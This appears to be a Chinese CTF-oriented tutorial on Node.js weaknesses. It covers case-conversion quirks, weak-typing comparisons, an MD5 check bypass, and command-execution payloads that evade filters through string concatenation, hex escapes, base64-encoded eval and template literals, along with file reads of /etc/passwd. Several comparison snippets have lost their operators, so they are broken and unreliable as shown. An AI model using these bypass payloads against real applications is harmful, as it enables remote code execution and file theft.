1.nodejs 语言的缺点

大小写特性

toUpperCase()

toLowerCase()

对于 toUpperCase(): 字符 "ı""ſ" 经过 toUpperCase 处理后结果为 "I""S"
对于 toLowerCase(): 字符 "K" 经过 toLowerCase 处理后结果为 "k"(这个 K 不是 K)

2.弱类型比较

  • 大小比较
1
2
3
4
5
6
console.log(1=='1'); //true 
console.log(1'2'); //false
console.log('1'<'2'); //true
console.log(111'3'); //true
console.log('111''3'); //false
console.log('asd'1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为 ASCII 码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是 false

  • 数组的比较:
1
2
3
4
5
6
console.log([]==[]); //false 
console.log([][]); //false
console.log([6,2][5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为 false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

  • 还有一些比较特别的相等:
1
2
3
4
console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
  • 变量拼接
1
2
3
4
console.log(5+[6,6]); //56,3 
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

MD5 的绕过

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

传入 a[x]=1&b[x]=2

数组会被解析成 [object Object]

1
2
3
4
5
6
7
8
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

编码绕过

  • 16 进制编码
1
console.log("a"==="\x61"); // true
  • unicode 编码
1
console.log("\u0061"==="a"); // true
  • base 编码
1
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

3.nodejs 危险函数的利用

命令执行

  • exec()
1
require('child_process').exec('open /System/Applications/Calculator.app');
  • eval()
1
2
console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

文件读写

  1. readFileSync()
1
2
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {if (err) throw err;
console.log(data);});
  1. readFile()
1
require('fs').readFileSync('/etc/passwd','utf-8')
  1. writeFileSync()
1
require('fs').writeFileSync('input.txt','sss');
  1. writeFile()
1
require('fs').writeFile('input.txt','test',(err)=>{})

RCE bypass

原型:

1
require("child_process").execSync('cat flag.txt')
  • 字符拼接:
1
require("child_process")['exe'%2b'cSync']('cat flag.txt')//(%2b就是+的url编码)require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
  • 编码绕过:
1
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器
  • 模板拼接:
1
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/'
  • 其他函数:
1
2
3
4
5
require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);